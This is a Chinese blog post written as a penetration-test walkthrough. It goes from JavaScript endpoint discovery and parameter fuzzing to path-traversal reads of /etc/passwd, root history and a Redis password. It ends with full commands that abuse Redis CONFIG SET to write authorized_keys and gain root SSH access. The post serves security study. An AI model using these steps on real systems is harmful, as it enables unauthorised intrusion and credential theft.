分析Js到GetShell

最新推荐文章于 2024-09-04 20:46:54 发布

原创最新推荐文章于 2024-09-04 20:46:54 发布 · 1k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #js

Web安全专栏收录该内容

5 篇文章

订阅专栏

本文通过一个具体案例展示了如何在测试过程中发现并利用系统漏洞，包括利用F12全局搜索发现潜在接口、使用burp抓包分析、利用x8FUZZ工具进行参数测试、读取敏感文件内容、发现并利用SSH端口及密钥登录方式、通过Redis进行权限提升等步骤。

声明

免责声明：本文为个人作品，只做技术研究，只可用于正常的技术交流与学习，不可用于灰黑产业，不可从事违法犯罪行，严禁利用本文所介绍的技术进行未授权的恶意攻击，否则，后果自负！！！

测试某系统，常规的功能点完后，发现没有什么有价值的洞，

F12 全局搜索 download 发现一处get接口

使用burp访问发现500错误，应该是缺少参数

使用x8 FUZZ参数

两秒之后就出结果，发现存在path 参数

访问之，提示文件不存在，有戏

尝试访问 etc/passwd，成功读取

读root用户的hisotry，发现开了10022 作为ssh端口

开启了密钥登陆

存在redis

读取redis密码

nmap发现6379也是开放，既然是root账户直接写个ssh公钥进去


ssh-keygen -t rsa
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > /tmp/key.txt
cat key.txt|redis-cli -h xxx.xx.xx.xx -a 'Pxxx3' -x set crack

# 链接redis
redis-cli -h xxx.xx -a 'Paxxxx123'


#获取redis备份的路径
CONFIG GET dir  # 截图忘记

#更改redis备份路径
CONFIG SET dir /root/.ssh

#设置备份文件的名称为authorized_keys
CONFIG SET dbfilename authorized_keys

#检查是否更改
CONFIG GET dbfilename
# 保存
save

ssh -p10022 root@xxx.xxx.xxx 成功链接